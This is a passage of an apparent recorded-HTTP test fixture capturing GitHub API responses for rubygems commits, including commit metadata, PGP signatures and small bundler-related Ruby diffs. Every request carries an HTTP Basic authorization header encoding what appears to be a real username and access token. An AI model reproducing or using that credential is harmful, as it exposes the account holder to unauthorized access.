fetcher.fetch_path(URI.parse(@gem_repo), Time.at(0))\n end\n \n def test_implicit_no_proxy"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:17 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/e7e410b95349047d8f42882dd7e22ff824925ec8 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:17 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4379' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"76634320aa6cf66ac94005f195197ace" Last-Modified: - Fri, 25 Aug 2017 14:39:50 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.045874' X-Github-Request-Id: - A33A:4D95:F48938:1C84C5F:5A50E481 body: encoding: ASCII-8BIT string: '{"sha":"e7e410b95349047d8f42882dd7e22ff824925ec8","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-08-25T14:39:50Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-08-25T14:39:50Z"},"message":"Avoid 1.9.3 warnings","tree":{"sha":"b12a111e5414447a0d402ff6cae341e23b08d939","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/b12a111e5414447a0d402ff6cae341e23b08d939"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/e7e410b95349047d8f42882dd7e22ff824925ec8","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZoDa2AAoJEAEZW7MV3ahWlJQP/iwjJmBZDesZxRe5Smv/Xggs\nHt7Ikmc/YXQcPgKjBzFB2fbPd9p8CUKm1pdDfM+SdpACS2TKJzWYiVQMYF4a0fYI\nN53HKPYH5sOWq7FTP0dVquJZPia7As2J1HyNRUuEvjy5js0x0Q2fllUUi2YBCmoa\nOz8XlEAX+5PiDurOK4sKmK3UA9QNVZWj+B7ruvIwLA4vJ9zTGKGCX/zrzjOkbzYZ\nlsk8QxUqFhN1FzH5Tl0ei4oSBa2yHE0qLstAxx/n0eTnlMkISgO+ab8YURRPFiGa\ngHW4wR8W2fqOVGDgLigrSrsP9PmG59qrYM1MlHgs1tbyk2ODNzyWz7oqcuZMvJKs\nzDPB8XLQRFKTquzmEM5uYb814Y1gd3vfcEJpRHyYkmIBn/KVMJh5DrNMbmQ7d14A\nARRWnQjllkyyqUlVtrBiRu2Wx+Fsuf2zR1v7Kqsc2H2MiJXs8HZ07gt8k5EuKme5\ngNBQZTH9i73zUOlP4iWiFAeNx3D5ynTYPRZBaemXRAj9iHLk54LR3tuzzkI1jJ3c\nJIfrHZuqzlp/MnshotlL44j5Z50gA0DVK9vRmn8SJa2qO+8jBZ3NLdJAsD+i9b3b\nI/GOSZZNLLyil0ClBowkbCplVEysDb8ZYXseRyWotFDBvktyIpIv8Sehj9tpDsKi\nKo9t1pVm4/5XZ0t4RUCR\n=jVT9\n-----END PGP SIGNATURE-----","payload":"tree b12a111e5414447a0d402ff6cae341e23b08d939\nparent 63a17deb846ce20f90e587c584495e632ed97dde\nauthor Samuel Giddins 1503671990 -0400\ncommitter Samuel Giddins 1503671990 -0400\n\nAvoid 1.9.3 warnings\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/e7e410b95349047d8f42882dd7e22ff824925ec8","html_url":"https://github.com/rubygems/rubygems/commit/e7e410b95349047d8f42882dd7e22ff824925ec8","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/e7e410b95349047d8f42882dd7e22ff824925ec8/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"63a17deb846ce20f90e587c584495e632ed97dde","url":"https://api.github.com/repos/rubygems/rubygems/commits/63a17deb846ce20f90e587c584495e632ed97dde","html_url":"https://github.com/rubygems/rubygems/commit/63a17deb846ce20f90e587c584495e632ed97dde"}],"stats":{"total":5,"additions":3,"deletions":2},"files":[{"sha":"baca170840c8c1cf77c0fac7138aba1947b8c02d","filename":"lib/rubygems/bundler_version_finder.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/e7e410b95349047d8f42882dd7e22ff824925ec8/lib/rubygems/bundler_version_finder.rb","raw_url":"https://github.com/rubygems/rubygems/raw/e7e410b95349047d8f42882dd7e22ff824925ec8/lib/rubygems/bundler_version_finder.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/bundler_version_finder.rb?ref=e7e410b95349047d8f42882dd7e22ff824925ec8","patch":"@@ -9,7 +9,7 @@ def self.without_filtering\n end\n \n def self.bundler_version\n- version, _reason = bundler_version_with_reason\n+ version, _ = bundler_version_with_reason\n \n return unless version\n "},{"sha":"5ca145fcc2778a9e50f800dcea26e9aa05a6b2ba","filename":"test/rubygems/test_gem.rb","status":"modified","additions":2,"deletions":1,"changes":3,"blob_url":"https://github.com/rubygems/rubygems/blob/e7e410b95349047d8f42882dd7e22ff824925ec8/test/rubygems/test_gem.rb","raw_url":"https://github.com/rubygems/rubygems/raw/e7e410b95349047d8f42882dd7e22ff824925ec8/test/rubygems/test_gem.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem.rb?ref=e7e410b95349047d8f42882dd7e22ff824925ec8","patch":"@@ -1110,7 +1110,8 @@ def test_self_use_paths_with_nils\n orig_path = ENV.delete ''GEM_PATH''\n Gem.use_paths nil, nil\n assert_equal Gem.default_dir, Gem.paths.home\n- assert_equal (Gem.default_path + [Gem.paths.home]).uniq, Gem.paths.path\n+ path = (Gem.default_path + [Gem.paths.home]).uniq\n+ assert_equal path, Gem.paths.path\n ensure\n ENV[''GEM_HOME''] = orig_home\n ENV[''GEM_PATH''] = orig_path"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:17 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/63a17deb846ce20f90e587c584495e632ed97dde body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:17 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4378' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"20449258dcec1369575520325fede8bc" Last-Modified: - Sun, 20 Aug 2017 20:12:46 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.059438' X-Github-Request-Id: - C60C:4D97:903CE0:1C488A1:5A50E481 body: encoding: ASCII-8BIT string: '{"sha":"63a17deb846ce20f90e587c584495e632ed97dde","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-08-20T20:12:46Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-08-20T20:12:46Z"},"message":"Update specs for bundler version pinning not being specific under 2.0","tree":{"sha":"d9a0dc149c6dec215f26e5071a0c60588d9af5f6","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/d9a0dc149c6dec215f26e5071a0c60588d9af5f6"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/63a17deb846ce20f90e587c584495e632ed97dde","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZme0+AAoJEAEZW7MV3ahWcyEP/in9RAs5eKdsMVfIY1+fAZ/N\n76EpWCy6u9RnB37f7vmo8vtTMZAQSM3QQRdnuj8jkjWzkQcscGMbv0zO4gfM9YSO\nNQwOKEVWVG6XTdvRJrZkL5366eyY4k5KVauEcFL0UisyiS1N5T4WPFjKzOrAJeEi\nNFev0mqqe9MTniiiI4hHJG0YtbOq+c6OO9lojdLNNPLdb/05opPW3dxjdLz56Cbz\nH2MyrqVALTuUAe2mVEirxQcVkTX8+d0xwXAyrHtu1WiKTi7QbPACrxWDjDOPm7oD\ntFzKinv0yZTCQMAg4faILf8fedZKJdSYUbJoxpJ1Il3Y38Zdde/0DMLu6fwNNk7Y\neiu7iPVb/fDUcYsLMqlz4Uu5Xj/yw2vIZ7OLOEGMML4hKuGqDJnZvDwbUl3Z52Q2\nSH9norNz2ejrL09amPfzJeL3/jNxEKGPHbjzWiHUsOcHwY01s7FKLzpw93CmMfbx\njdvicZfDvQXRIj7Bi/fdLMhhpMPqB5iws76FFNTIoai0F/CaGJZWi2cZdtkk+/QR\ndtp89ef2LqM//7Zf5das4bgZ42Scv0QYJh9bkdpmv2JC0lyrl6x4cWXHspw9sZ5n\nHJup7CzHL7IUJPVq6r0Zjghzz8gDl8bP0KjVj9Lcfiu/4dMRsO+/EFg6q7OMNbju\nfoQG7dtKDoRW3cgFqDaJ\n=HglR\n-----END PGP SIGNATURE-----","payload":"tree d9a0dc149c6dec215f26e5071a0c60588d9af5f6\nparent e9cb38d8e9e6ef39423f74745303b8a86a0eaece\nauthor Samuel Giddins 1503259966 -0400\ncommitter Samuel Giddins 1503259966 -0400\n\nUpdate specs for bundler version pinning not being specific under 2.0\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/63a17deb846ce20f90e587c584495e632ed97dde","html_url":"https://github.com/rubygems/rubygems/commit/63a17deb846ce20f90e587c584495e632ed97dde","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/63a17deb846ce20f90e587c584495e632ed97dde/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"e9cb38d8e9e6ef39423f74745303b8a86a0eaece","url":"https://api.github.com/repos/rubygems/rubygems/commits/e9cb38d8e9e6ef39423f74745303b8a86a0eaece","html_url":"https://github.com/rubygems/rubygems/commit/e9cb38d8e9e6ef39423f74745303b8a86a0eaece"}],"stats":{"total":10,"additions":6,"deletions":4},"files":[{"sha":"32fe69f73d5104443fd343fe7caea64e03de7ca8","filename":"lib/rubygems/bundler_version_finder.rb","status":"modified","additions":2,"deletions":0,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/63a17deb846ce20f90e587c584495e632ed97dde/lib/rubygems/bundler_version_finder.rb","raw_url":"https://github.com/rubygems/rubygems/raw/63a17deb846ce20f90e587c584495e632ed97dde/lib/rubygems/bundler_version_finder.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/bundler_version_finder.rb?ref=63a17deb846ce20f90e587c584495e632ed97dde","patch":"@@ -1,4 +1,6 @@\n module Gem::BundlerVersionFinder\n+ @without_filtering = false\n+\n def self.without_filtering\n without_filtering, @without_filtering = true, @without_filtering\n yield"},{"sha":"d7eec3c090423f46f6760ceb7109b434f0f7e874","filename":"test/rubygems/test_gem_dependency.rb","status":"modified","additions":4,"deletions":4,"changes":8,"blob_url":"https://github.com/rubygems/rubygems/blob/63a17deb846ce20f90e587c584495e632ed97dde/test/rubygems/test_gem_dependency.rb","raw_url":"https://github.com/rubygems/rubygems/raw/63a17deb846ce20f90e587c584495e632ed97dde/test/rubygems/test_gem_dependency.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_dependency.rb?ref=63a17deb846ce20f90e587c584495e632ed97dde","patch":"@@ -353,16 +353,16 @@ def test_to_specs_respects_bundler_version\n \n assert_equal [b, b_1], dep.to_specs\n \n- Gem::BundlerVersionFinder.stub(:bundler_version_with_reason, [\"1.5\", \"reason\"]) do\n+ Gem::BundlerVersionFinder.stub(:bundler_version_with_reason, [\"3.5\", \"reason\"]) do\n e = assert_raises Gem::MissingSpecVersionError do\n dep.to_specs\n end\n \n- assert_match \"Could not find ''bundler'' (1.5) required by reason.\\nTo update to the lastest version installed on your system, run `bundle update --bundler`.\\nTo install the missing version, run `gem install bundler:1.5`\\n\", e.message\n+ assert_match \"Could not find ''bundler'' (3.5) required by reason.\\nTo update to the lastest version installed on your system, run `bundle update --bundler`.\\nTo install the missing version, run `gem install bundler:3.5`\\n\", e.message\n end\n \n- Gem::BundlerVersionFinder.stub(:bundler_version_with_reason, [\"1.0\", \"reason\"]) do\n- assert_equal [b_1], dep.to_specs\n+ Gem::BundlerVersionFinder.stub(:bundler_version_with_reason, [\"2.0.0.pre.1\", \"reason\"]) do\n+ assert_equal [b], dep.to_specs\n end\n end\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:17 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/e9cb38d8e9e6ef39423f74745303b8a86a0eaece body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:17 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4377' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"2e859f1ba3810746f4c3af9d8a47ea66" Last-Modified: - Sun, 20 Aug 2017 19:16:44 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.052607' X-Github-Request-Id: - C60E:4D95:F48968:1C84CB9:5A50E481 body: encoding: ASCII-8BIT string: '{"sha":"e9cb38d8e9e6ef39423f74745303b8a86a0eaece","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-08-20T19:16:44Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-08-20T19:16:44Z"},"message":"Allow bundle _version_ to continue to work","tree":{"sha":"1745050e52a05fd66a2900a0d090af41354dc2e7","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/1745050e52a05fd66a2900a0d090af41354dc2e7"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/e9cb38d8e9e6ef39423f74745303b8a86a0eaece","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZmeAcAAoJEAEZW7MV3ahW4JsQAIT2kuH8xCD7Mz4SJiqj0yQI\ntIMgLR9ekk9RWxBTYUV8KpKPvb5DCOcSnhMDlVQqNfLj4rtx/Bs7tOBmFZXU/iML\nrA0VpwUJAOYOtfTJACHhVQNPPKntS5RwON8Y0SCGsJf7skux1ToXZLXhm2dpHN+F\n3dxRpVahsrpkkwLVFZ0T9RbwgzmxCTka5SpuzLnxQe2dzRKSvja6eNH2tlGI8EeK\nPM3l/K5wYZ1UXYc/l9VzBHAHqCyBqJIbLtnsg5pZ2fvNCZpH08h/wh7T9wl/rfjP\n/9M9iosKWv76z9l8FTAkN897nyNUutk9i3Hoyts3E50PLqCHE8tNkpwgv3eLSMeU\n9o9p6dpGqZRXJO00GoqKeKUol6mqmh0UpNtNdgSFt/VtKGUKgDxl/YVFhLyv7sQM\nTfPr6TgKs8EhZVkf3H6HYcqQJQGcbEAfbIaTfMEIY2RAKJ7PsMrTVyKvIq8uAN+F\nvr4Kn974Lb/yyYKRl1YSO2/0tFuFhPbtMqfeMEzaMm/LqIQX6ZqkyB+efbKc3MqL\nyIo4e41uKDwBaYk4YcsISrm6Yhk75jMnvBebrrN0nHuzCkwctY/pHQzvXMPOZ4B2\n1MjwQfYpeV/2PN2udq8pH8J5jZiW1bARY6HeFr3BIHK4RjvdCrEXUIBK5K3w3tNZ\neFEA4HR/03X3ZrpeQzHY\n=tu3C\n-----END PGP SIGNATURE-----","payload":"tree 1745050e52a05fd66a2900a0d090af41354dc2e7\nparent 6632c4278e02dab66243a7be61621cb3fe4b1601\nauthor Samuel Giddins 1503256604 -0400\ncommitter Samuel Giddins 1503256604 -0400\n\nAllow bundle _version_ to continue to work\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/e9cb38d8e9e6ef39423f74745303b8a86a0eaece","html_url":"https://github.com/rubygems/rubygems/commit/e9cb38d8e9e6ef39423f74745303b8a86a0eaece","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/e9cb38d8e9e6ef39423f74745303b8a86a0eaece/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"6632c4278e02dab66243a7be61621cb3fe4b1601","url":"https://api.github.com/repos/rubygems/rubygems/commits/6632c4278e02dab66243a7be61621cb3fe4b1601","html_url":"https://github.com/rubygems/rubygems/commit/6632c4278e02dab66243a7be61621cb3fe4b1601"}],"stats":{"total":16,"additions":15,"deletions":1},"files":[{"sha":"fee20ba44f9c5b62737e1dabba9aed6d594cd27e","filename":"lib/rubygems.rb","status":"modified","additions":6,"deletions":1,"changes":7,"blob_url":"https://github.com/rubygems/rubygems/blob/e9cb38d8e9e6ef39423f74745303b8a86a0eaece/lib/rubygems.rb","raw_url":"https://github.com/rubygems/rubygems/raw/e9cb38d8e9e6ef39423f74745303b8a86a0eaece/lib/rubygems.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems.rb?ref=e9cb38d8e9e6ef39423f74745303b8a86a0eaece","patch":"@@ -270,7 +270,12 @@ def self.find_spec_for_exe name, exec_name, requirements\n \n return loaded if loaded && dep.matches_spec?(loaded)\n \n- specs = dep.matching_specs(true)\n+ find_specs = proc { dep.matching_specs(true) }\n+ if dep.to_s == \"bundler (>= 0.a)\"\n+ specs = Gem::BundlerVersionFinder.without_filtering(&find_specs)\n+ else\n+ specs = find_specs.call\n+ end\n \n specs = specs.find_all { |spec|\n spec.executables.include? exec_name"},{"sha":"0f0a9121575dbbb45edf77b711ebe4c81abb5725","filename":"lib/rubygems/bundler_version_finder.rb","status":"modified","additions":9,"deletions":0,"changes":9,"blob_url":"https://github.com/rubygems/rubygems/blob/e9cb38d8e9e6ef39423f74745303b8a86a0eaece/lib/rubygems/bundler_version_finder.rb","raw_url":"https://github.com/rubygems/rubygems/raw/e9cb38d8e9e6ef39423f74745303b8a86a0eaece/lib/rubygems/bundler_version_finder.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/bundler_version_finder.rb?ref=e9cb38d8e9e6ef39423f74745303b8a86a0eaece","patch":"@@ -1,4 +1,11 @@\n module Gem::BundlerVersionFinder\n+ def self.without_filtering\n+ without_filtering, @without_filtering = true, @without_filtering\n+ yield\n+ ensure\n+ @without_filtering = without_filtering\n+ end\n+\n def self.bundler_version\n version, _reason = bundler_version_with_reason\n \n@@ -8,6 +15,8 @@ def self.bundler_version\n end\n \n def self.bundler_version_with_reason\n+ return if @without_filtering\n+\n if v = ENV[\"BUNDLER_VERSION\"]\n return [v, \"`$BUNDLER_VERSION`\"]\n end"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:17 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/6632c4278e02dab66243a7be61621cb3fe4b1601 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:17 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4376' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"5803e504611bc3cf97c9b2ba989c58df" Last-Modified: - Sat, 19 Aug 2017 22:57:49 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.057124' X-Github-Request-Id: - C610:4D97:903CFC:1C488E2:5A50E481 body: encoding: ASCII-8BIT string: '{"sha":"6632c4278e02dab66243a7be61621cb3fe4b1601","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-08-19T22:57:49Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-08-19T22:57:49Z"},"message":"Only pin to major version for locked bundler < 2","tree":{"sha":"47c42524a467c59bc45cc8fb0c053d44e9ecfb1a","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/47c42524a467c59bc45cc8fb0c053d44e9ecfb1a"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/6632c4278e02dab66243a7be61621cb3fe4b1601","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG 